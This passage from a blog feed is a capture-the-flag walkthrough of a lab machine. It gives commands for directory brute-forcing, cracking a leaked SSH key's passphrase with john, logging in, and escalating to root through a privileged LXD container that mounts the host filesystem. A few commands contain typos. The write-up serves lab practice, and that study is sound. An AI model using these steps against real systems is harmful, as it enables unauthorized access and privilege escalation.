src="https://cdn-images-1.medium.com/max/1024/1*YZTV2FELT26dZ4zZQJFzsA.png" /></figure><p>Nothing interesting. Use try to bruteforce maybe you will see something</p><blockquote>gobuster dir -u {target} -w /usr/share/worldlists/dirbuster/directory-list-2.3-medium.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zozOsgel3N8MVkVumkGn0g.png" /></figure><p>Two interesting part are open:</p><p>/uploads</p><p>/secret</p><p>Try to go secretKey</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*boBxBtUQWEC8eGupFILusw.png" /></figure><p>That’s RSA private key</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XAiPBbZZKYnEzpY70Jo_VA.png" /></figure><p>copy that and create file</p><blockquote>nano Key</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lk2SyjHiTjOftHKcbo8atg.png" /></figure><p>Tran RSA key to hash key cause you have to use john for helping some key password</p><blockquote>/use/share/john/ssh2john.py Key &gt; Keyhash</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*R6g432p3v4H7BcmBUgsT5w.png" /></figure><blockquote>john — wordlist=/usr/share/wordlists/rockyou.txt Keyhash</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LdLCAQVDHYtCWXbVH8I7iA.png" /></figure><p>You got that Key.</p><p>After that secure shell cause you got that key try to enter</p><blockquote>ssh john@{target} -i Key</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U8kfoHELiSITBop5YaKk2g.png" /></figure><p>Aahaha you can access and enter to user john</p><blockquote>ls</blockquote><blockquote>cat user.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*-HtrajxFlpnSVhwRQe53Sg.png" /></figure><p>Next try to Privilege Escalation</p><p>Machine local:</p><blockquote>git clone <a href="https://github.com/saghul/lxd-alpine-builder.git">https://github.com/saghul/lxd-alpine-builder.git</a><br>cd lxd-alpine-builder<br>./build-alpine -a i686</blockquote><p>Machine Gamingserver:</p><blockquote>xc image import ./alpine-v3.12-i686–20200831_2152.tar.gz — alias myimage<br>lxc image list</blockquote><blockquote>lxc init myimage sckull -c security.privileged=true<br>lxc config device add sckull mydevice disk source=/ path=/mnt/root recursive=true<br>lxc start sckull<br>lxc exec sckull /bin/sh</blockquote><p><strong>What is lxd-alpine-builder?</strong></p><p>This repository (lxd-alpine-builder) contains scripts for building minimal Alpine Linux images for <strong>LXD</strong> containers. <strong>LXD</strong> is a container management tool (like Docker, but more focused on system containers). Alpine Linux is a lightweight Linux distribution, and these scripts help create optimized Alpine images for use in LXD environments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cxfzNjlC5QDtx0cBHg6Ejg.png" /></figure><blockquote>ls -lah /mnt/root/root</blockquote><blockquote>cat /mnt/root/root/root.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AEwFjw-1Lj_BsqkrkO_a0w.png" /></figure><p>Finally you got thattt@*&amp;T(&amp;*!TR(*</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cf159ddba2d7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>